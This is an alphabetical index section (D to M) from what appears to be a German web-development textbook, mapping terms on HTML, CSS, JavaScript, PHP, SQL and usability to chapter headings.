
Demografie [→ 2.4 Der User, das (un)bekannte Wesen]

deprecated [→ 5.4 Die Elemente einer HTML-Seite]

Design [→ 2.7 Zielorientiertes Interaktionsdesign]

Informations- oder Sensorial Design [→ 10.2 User Experience]

Interaktionsdesign [→ 10.2 User Experience]

Interface Design [→ 10.2 User Experience]

Desktop First [→ 8.2 Wie geht man’s an? Der Workflow]

Desktop-Publishing [→ 6.10 Das geschriebene Wort – Schriften]

details [→ 5.8 Elemente mit (besonderer) Bedeutung]

Device Detection [→ 8.8 Über den Tellerrand geblickt: Fortgeschrittene Themen]

Dialog [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Dienste [→ 3.1 Dienste im Internet, Server und Client]

Directory Traversal Attack [→ 13.4 Angriffsszenario 4: Upload von Dateien]

disabled [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

display [→ 6.14 Tabellenartiges Design mit CSS] [→ 6.15 Listenartiges Design mit CSS] [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

grid [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein] [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

inline [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

inline-block [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

none [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

display-mode [→ 8.5 Die Grundbausteine einer responsiven Site]

div [→ 5.7 Bedeutungslose Elemente – nichts für echte Webdesigner*innen]

document [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Dokumentbaum [→ 5.3 Der Dokumentbaum] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

DOM [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Domain [→ 3.4 Domains]

Fully Qualified Domain Name [→ 3.4 Domains]

Second-Level Domain [→ 3.4 Domains] [→ 3.4 Domains]

Third-Level Domain [→ 3.4 Domains]

Top-Level Domain [→ 3.4 Domains] [→ 3.4 Domains]

Vergabestellen [→ 3.4 Domains]

dotted [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

dpi [→ 5.4 Die Elemente einer HTML-Seite]

DPR (Device Pixel Ratio) [→ 5.4 Die Elemente einer HTML-Seite]

DTP → siehe [Desktop-Publishing]

E ⇑

ECMAScript [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks] [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks] [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

Editor [→ 4.2 Editoren]

Einheiten [→ 6.7 Einheiten in CSS – nicht alles ist relativ]

absolute [→ 6.7 Einheiten in CSS – nicht alles ist relativ]

Box-Modell [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

relative [→ 6.7 Einheiten in CSS – nicht alles ist relativ]

Elementknoten [→ 5.3 Der Dokumentbaum]

Elementzugriff 

lesender [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

schreibender [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

em (HTML-Tag) [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

email [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Embedded Content [→ 5.6 Not so easy: Content Categories ab HTML5]

enctype [→ 5.9 Formulare als Schnittstelle zwischen Client und Server] [→ 11.13 Formulare aufgebohrt: Datei-Upload]

ER-Diagramm [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins] [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Ereignisse 

DOMContentLoaded [→ 7.6 Ereignisse bestimmen den Ablauf]

Ereignisbehandlung [→ 7.6 Ereignisse bestimmen den Ablauf]

Ereignisbehandlungsroutine [→ 7.6 Ereignisse bestimmen den Ablauf]

Event Handler [→ 7.6 Ereignisse bestimmen den Ablauf]

Listener [→ 7.6 Ereignisse bestimmen den Ablauf]

load [→ 7.6 Ereignisse bestimmen den Ablauf]

Maus 

click [→ 7.6 Ereignisse bestimmen den Ablauf]

dblclick [→ 7.6 Ereignisse bestimmen den Ablauf]

mousedown [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseenter [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseleave [→ 7.6 Ereignisse bestimmen den Ablauf]

mousemove [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseout [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseover [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseup [→ 7.6 Ereignisse bestimmen den Ablauf]

systemgesteuerte 

load [→ 7.6 Ereignisse bestimmen den Ablauf]

unload [→ 7.6 Ereignisse bestimmen den Ablauf] [→ 7.6 Ereignisse bestimmen den Ablauf]

Tastatur 

keydown [→ 7.6 Ereignisse bestimmen den Ablauf]

keypress [→ 7.6 Ereignisse bestimmen den Ablauf]

keyup [→ 7.6 Ereignisse bestimmen den Ablauf]

usergesteuerte 

click [→ 7.6 Ereignisse bestimmen den Ablauf]

keydown [→ 7.6 Ereignisse bestimmen den Ablauf]

keypress [→ 7.6 Ereignisse bestimmen den Ablauf]

keyup [→ 7.6 Ereignisse bestimmen den Ablauf]

Mausereignisse [→ 7.6 Ereignisse bestimmen den Ablauf]

mousedown [→ 7.6 Ereignisse bestimmen den Ablauf]

mouseup [→ 7.6 Ereignisse bestimmen den Ablauf]

orientationchange [→ 7.6 Ereignisse bestimmen den Ablauf]

resize [→ 7.6 Ereignisse bestimmen den Ablauf]

Tastaturereignisse [→ 7.6 Ereignisse bestimmen den Ablauf]

Erkennen [→ 2.8 Ein wenig Wahrnehmungspsychologie]

error_log [→ 11.9 Debugging für PHP-Entwickler?] [→ 11.9 Debugging für PHP-Entwickler?]

error_reporting [→ 11.9 Debugging für PHP-Entwickler?]

Erzeugen 

Dateien auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Verzeichnisse auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

ES → siehe [ECMAScript]

Evaluationsmethoden 

explorativ [→ 10.1 Usability]

formativ [→ 10.1 Usability]

Prinzipien [→ 10.1 Usability]

summativ [→ 10.1 Usability]

voraussagend [→ 10.1 Usability]

Event Bubbling [→ 7.6 Ereignisse bestimmen den Ablauf]

Exceptions [→ 11.7 Trial and Error: try-catch]

Existenzprüfung [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Exploratives Lernen [→ 10.1 Usability]

Ausführungskomponente [→ 10.1 Usability]

Lernkomponente [→ 10.1 Usability]

Problemlösungskomponente [→ 10.1 Usability]

export [→ 7.12 Auslagern von Code und Modulen]

Extended Reality [→ 8.9 Ausblick]

F ⇑

falsy [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Farbe [→ 2.9 Wie Farbe wirkt]

Wirkung [→ 2.9 Wie Farbe wirkt]

Farbmodelle [→ 6.9 Glanz und Gloria – Farben]

HSL [→ 6.9 Glanz und Gloria – Farben]

RGB [→ 6.9 Glanz und Gloria – Farben]

RGB hexadezimal [→ 6.9 Glanz und Gloria – Farben]

Feature Detection [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern] [→ 8.8 Über den Tellerrand geblickt: Fortgeschrittene Themen]

Fehler [→ 4.3 Der Browser als Interpreter und Testumgebung]

Laufzeitfehler [→ 4.3 Der Browser als Interpreter und Testumgebung]

lexikalischer [→ 4.3 Der Browser als Interpreter und Testumgebung] [→ 11.9 Debugging für PHP-Entwickler?]

logischer [→ 4.3 Der Browser als Interpreter und Testumgebung] [→ 11.9 Debugging für PHP-Entwickler?]

semantischer [→ 4.3 Der Browser als Interpreter und Testumgebung]

syntaktischer [→ 4.3 Der Browser als Interpreter und Testumgebung] [→ 11.9 Debugging für PHP-Entwickler?]

Fehlermodell 

Fatal Error [→ 11.5 Jeder macht Fehler – das Fehlermodell von PHP]

Notice [→ 11.5 Jeder macht Fehler – das Fehlermodell von PHP]

Parse Error [→ 11.5 Jeder macht Fehler – das Fehlermodell von PHP]

Warning [→ 11.5 Jeder macht Fehler – das Fehlermodell von PHP]

Felder [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Festbreitschrift [→ 6.10 Das geschriebene Wort – Schriften]

fetch-API [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

fieldset [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

figcaption [→ 5.4 Die Elemente einer HTML-Seite]

figure [→ 5.4 Die Elemente einer HTML-Seite]

file_exists [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Filterung [→ 2.8 Ein wenig Wahrnehmungspsychologie]

find [→ 7.4 Die essenziellen Grundlagen der Programmierung]

findIndex [→ 7.4 Die essenziellen Grundlagen der Programmierung]

findLast [→ 7.4 Die essenziellen Grundlagen der Programmierung]

findLastIndex [→ 7.4 Die essenziellen Grundlagen der Programmierung]

firstChild [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

fit-content [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Fixed Point [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank] [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

flex-basis [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Flexbox [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

flex-direction [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

flex-shrink [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

float [→ 6.11 Textumfluss (float) – umflossene Elemente wie in Druckmedien]

Floating Point [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank] [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

floatval [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

Flow Content [→ 5.6 Not so easy: Content Categories ab HTML5]

Fluid Typography [→ 8.5 Die Grundbausteine einer responsiven Site]

Flussdiagramm [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Fold [→ 10.1 Usability]

Font Awesome [→ 8.5 Die Grundbausteine einer responsiven Site]

font-face [→ 6.10 Das geschriebene Wort – Schriften]

font-family [→ 6.10 Das geschriebene Wort – Schriften]

font-size [→ 6.10 Das geschriebene Wort – Schriften]

font-stretch [→ 6.10 Das geschriebene Wort – Schriften]

font-style [→ 6.10 Das geschriebene Wort – Schriften]

font-weight [→ 6.10 Das geschriebene Wort – Schriften]

FooTables [→ 8.5 Die Grundbausteine einer responsiven Site]

footer [→ 5.8 Elemente mit (besonderer) Bedeutung]

forced-colors [→ 8.5 Die Grundbausteine einer responsiven Site]

Foreign Key [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

form [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Formatierungssprache [→ 6.1 Die drei Säulen von CSS]

Form-related Content Categories [→ 5.6 Not so easy: Content Categories ab HTML5]

Formulare [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Checkbox [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Select-Box [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Textarea [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

FQDN (Fully Qualified Domain Name) [→ 3.4 Domains]

Fraction (fr) [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Fremdschlüssel → siehe [Foreign Key]

FTP (File Transfer Protocol) 

Host-Adresse [→ 9.1 Der Veröffentlichungsprozess]

Host-Verzeichnis [→ 9.1 Der Veröffentlichungsprozess]

Port [→ 9.1 Der Veröffentlichungsprozess]

Protokoll [→ 9.1 Der Veröffentlichungsprozess]

Verschlüsselung [→ 9.1 Der Veröffentlichungsprozess]

Zugangsdaten [→ 9.1 Der Veröffentlichungsprozess]

func_get_args [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

Function Scope [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Functions [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

Funktionen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

anonyme [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Aufruf [→ 7.6 Ereignisse bestimmen den Ablauf]

Restparameter [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Rückgabewert [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Übergabeparameter [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Übergabevariablen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Übergabewerte [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Zuweisung [→ 7.6 Ereignisse bestimmen den Ablauf]

G ⇑

GD2-Library [→ 11.15 Bilder skalieren]

Gemein-Höhe [→ 6.10 Das geschriebene Wort – Schriften]

Generated Columns [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

Gestaltungsraster [→ 8.5 Die Grundbausteine einer responsiven Site]

GET [→ 5.9 Formulare als Schnittstelle zwischen Client und Server] [→ 11.10 Der Anknüpfungspunkt an HTML – Formulare als wesentliches Kommunikationsmittel]

getAttribute [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

getBoundingClientRect [→ 7.6 Ereignisse bestimmen den Ablauf]

getElementById [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

getElementsByClassName [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

getElementsByName [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

getElementsByTagName [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

getimagesize [→ 11.15 Bilder skalieren]

gettype [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

GitHub [→ 9.2 Die Versionierung]

GitHub Actions [→ 9.2 Die Versionierung]

Global Scope [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Goldener Schnitt [→ 8.5 Die Grundbausteine einer responsiven Site]

Google Cloud [→ 3.8 Wie ein Webserver funktioniert]

Google Fonts [→ 6.10 Das geschriebene Wort – Schriften] [→ 6.10 Das geschriebene Wort – Schriften]

Graceful Degredation [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Grid [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein] [→ 8.5 Die Grundbausteine einer responsiven Site]

Area [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Cell [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Container [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Items [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Line [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Track [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

grid-auto-rows [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Grid-Blowout [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

grid-row [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

grid-template-columns [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein] [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

grid-template-rows [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein] [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Grotesk [→ 6.10 Das geschriebene Wort – Schriften]

GROUP BY [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

Grundfarben → siehe [Primärfarben]

Gültigkeitsbereich (Scope) [→ 7.4 Die essenziellen Grundlagen der Programmierung]

H ⇑

h.264 (Code) [→ 5.10 Multimedia mit Audio, Video & Co.]

hasAttribute [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

hasChildNodes [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Hash [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

header [→ 5.8 Elemente mit (besonderer) Bedeutung] [→ 11.11 Den HTTP-Header manipulieren – serverseitige Weiterleitungen] [→ 11.15 Bilder skalieren]

Heading Content [→ 5.6 Not so easy: Content Categories ab HTML5]

height [→ 6.8 Sind ja alles nur Boxen – das Box-Modell] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

Heuristik [→ 10.1 Usability]

hgroup [→ 5.4 Die Elemente einer HTML-Seite]

Hintergrund [→ 6.12 Der Hintergrund als Gestaltungselement]

Hintergrundbild [→ 6.12 Der Hintergrund als Gestaltungselement]

Hintergrundverlauf (Gradient) [→ 6.12 Der Hintergrund als Gestaltungselement]

history [→ 7.8 Mehr als nur document: Das window-Objekt]

back [→ 7.8 Mehr als nur document: Das window-Objekt]

forward [→ 7.8 Mehr als nur document: Das window-Objekt]

go [→ 7.8 Mehr als nur document: Das window-Objekt]

length [→ 7.8 Mehr als nur document: Das window-Objekt]

Homepage [→ 3.6 Ein paar notwendige Begriffsdefinitionen]

Hop [→ 8.7 Alles performt – optimiert geht’s schneller]

HTML [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

Grundgerüst [→ 5.2 Das Grundgerüst einer HTML-Seite]

HTTP 

Body [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

Header [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

Hypertext [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

I ⇑

i (HTML-Tag) [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

IANA [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

ICANN [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

imageavif [→ 11.15 Bilder skalieren]

imagecopyresampled [→ 11.15 Bilder skalieren]

imagecopyresized [→ 11.15 Bilder skalieren]

imagecreate [→ 11.15 Bilder skalieren]

imagecreatefromavif [→ 11.15 Bilder skalieren]

imagecreatefromgif [→ 11.15 Bilder skalieren]

imagecreatefromjpeg [→ 11.15 Bilder skalieren]

imagecreatefrompng [→ 11.15 Bilder skalieren]

imagecreatefromwebp [→ 11.15 Bilder skalieren]

imagecreatetruecolor [→ 11.15 Bilder skalieren]

imagegif [→ 11.15 Bilder skalieren]

imagejpeg [→ 11.15 Bilder skalieren]

imagepng [→ 11.15 Bilder skalieren]

imagewebp [→ 11.15 Bilder skalieren]

img [→ 5.4 Die Elemente einer HTML-Seite] [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

Immersive Technologien [→ 8.9 Ausblick]

Imperative Programmierung [→ 11.4 Imperativer oder objektorientierter Ansatz?]

import [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 7.12 Auslagern von Code und Modulen]

Import Map [→ 7.12 Auslagern von Code und Modulen]

in_array [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

include [→ 11.8 Hilfreich: Code in externe Dateien auslagern]

Index [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

IndexedDB [→ 7.15 Lokale Datenspeicherung – wohin mit den Daten?]

inherit [→ 6.6 Die Vererbung – mehr Pro als Kontra]

ini_set [→ 11.9 Debugging für PHP-Entwickler?]

initial [→ 6.6 Die Vererbung – mehr Pro als Kontra]

Inline-Element [→ 4.3 Der Browser als Interpreter und Testumgebung] [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

innerHTML [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

innerText [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

InnoDB [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

INSERT [→ 12.6 Noch eine Sprache – SQL]

instanceof [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Instanz [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Interactive Content [→ 5.6 Not so easy: Content Categories ab HTML5]

Interaktion [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks]

Interaktionsdesign [→ 8.6 Mobile Usability – Usability weitergedacht]

Internet [→ 3.1 Dienste im Internet, Server und Client]

Interpreter [→ 4.3 Der Browser als Interpreter und Testumgebung] [→ 4.3 Der Browser als Interpreter und Testumgebung]

intval [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

IP-Adresse [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

IPv4 [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

IPv6 [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

IS NULL [→ 12.6 Noch eine Sprache – SQL]

is_array [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

is_bool [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

is_dir [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

is_file [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

is_float [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

is_int [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

is_link [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

is_object [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

is_string [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

ISP (Internet Service Provider) [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

J ⇑

Java [→ 11.1 PHP gegen den Rest der Welt?]

JavaScript [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks] [→ 11.1 PHP gegen den Rest der Welt?]

Joins [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

jQuery [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks]

JScript [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks] [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

JSON (JavaScript Object Notation) [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

parse [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

K ⇑

Kaskade [→ 6.1 Die drei Säulen von CSS]

Kaskadierung [→ 6.1 Die drei Säulen von CSS]

keyCode [→ 7.6 Ereignisse bestimmen den Ablauf]

Keyframes [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Keytracker [→ 7.6 Ereignisse bestimmen den Ablauf]

Knoten 

Attributknoten [→ 5.3 Der Dokumentbaum] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Elementknoten [→ 5.3 Der Dokumentbaum] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Kommentarknoten [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Textknoten [→ 5.3 Der Dokumentbaum] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Kommentar [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

alert [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

confirm [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

einzeiliger [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

mehrzeiliger [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

prompt [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Konformitätsstufen [→ 10.3 Barrierefreiheit]

Konkatenation [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Konkurrenzanalyse [→ 2.5 Konkurrenzanalyse: Wie sieht die Konkurrenz aus?]

Konstante [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Konstruktorfunktion [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Kritischer Pfad [→ 7.17 Das Finale? Prototypen, Klassen, Architektur und Co.]

Künstliche Intelligenz [→ 8.9 Ausblick]

L ⇑

label [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Ladezyklus 

asynchroner [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

synchroner [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Laravel [→ 11.17 Ausblick]

Largest Contentful Paint [→ 8.7 Alles performt – optimiert geht’s schneller]

lastChild [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Latenz [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

Layouting [→ 6.21 Advanced Stuff: CSSOM]

Lazy Loading [→ 8.5 Die Grundbausteine einer responsiven Site]

legend [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Lesbarkeit [→ 6.10 Das geschriebene Wort – Schriften]

Leserechte [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

LESS [→ 6.22 Sass, LESS & Co – der Einsatz von CSS-Präprozessoren] [→ 6.22 Sass, LESS & Co – der Einsatz von CSS-Präprozessoren]

let [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Let’s Encrypt [→ 13.8 Weitere Tipps zur Sicherheit einer Site]

Lichtfarbmodell [→ 2.9 Wie Farbe wirkt]

Light Mode [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

LIKE [→ 12.6 Noch eine Sprache – SQL]

LIMIT [→ 12.6 Noch eine Sprache – SQL]

line-height [→ 6.10 Das geschriebene Wort – Schriften]

link [→ 6.3 CSS und HTML – ein schönes Paar]

Links 

auf Applikationen [→ 5.4 Die Elemente einer HTML-Seite]

auf Dokumente [→ 5.4 Die Elemente einer HTML-Seite]

auf Sprungmarken [→ 5.4 Die Elemente einer HTML-Seite]

Linter [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Liquides Design [→ 8.1 Die Grundlagen des Responsive Design]

Listen 

Assoziationsliste [→ 5.4 Die Elemente einer HTML-Seite]

nummeriert (ordered) [→ 5.4 Die Elemente einer HTML-Seite]

unnummerierte (unordered) [→ 5.4 Die Elemente einer HTML-Seite]

Listener [→ 7.6 Ereignisse bestimmen den Ablauf]

list-style-image [→ 6.15 Listenartiges Design mit CSS]

list-style-position [→ 6.15 Listenartiges Design mit CSS]

list-style-type [→ 6.15 Listenartiges Design mit CSS]

Literalschreibweise [→ 7.4 Die essenziellen Grundlagen der Programmierung]

LiveScript [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks]

loading [→ 8.5 Die Grundbausteine einer responsiven Site] [→ 8.5 Die Grundbausteine einer responsiven Site]

Local Storage [→ 7.15 Lokale Datenspeicherung – wohin mit den Daten?]

location [→ 7.8 Mehr als nur document: Das window-Objekt]

hash [→ 7.8 Mehr als nur document: Das window-Objekt]

host [→ 7.8 Mehr als nur document: Das window-Objekt]

hostname [→ 7.8 Mehr als nur document: Das window-Objekt]

port [→ 7.8 Mehr als nur document: Das window-Objekt]

protocol [→ 7.8 Mehr als nur document: Das window-Objekt]

search [→ 7.8 Mehr als nur document: Das window-Objekt]

Lokale Datenspeicherung [→ 7.15 Lokale Datenspeicherung – wohin mit den Daten?]

Löschen 

Dateien auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Verzeichnisse auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

M ⇑

mail (Funktion) [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

Mailversand [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

main [→ 5.8 Elemente mit (besonderer) Bedeutung]

Main Content Categories [→ 5.6 Not so easy: Content Categories ab HTML5]

margin [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

marker [→ 6.15 Listenartiges Design mit CSS]

Marktanalyse [→ 2.3  Marktanalyse, um den Markt zu verstehen] [→ 2.3  Marktanalyse, um den Markt zu verstehen]

Material Icons [→ 8.5 Die Grundbausteine einer responsiven Site]

MAX [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

max-height [→ 8.5 Die Grundbausteine einer responsiven Site]

max-width [→ 8.5 Die Grundbausteine einer responsiven Site]

md5 [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

media [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

Media Queries [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

Flexible Medien [→ 8.1 Die Grundlagen des Responsive Design]

Grid-System [→ 8.1 Die Grundlagen des Responsive Design]

Responsive Webdesign [→ 8.1 Die Grundlagen des Responsive Design]

Umbruchpunkte [→ 8.1 Die Grundlagen des Responsive Design]

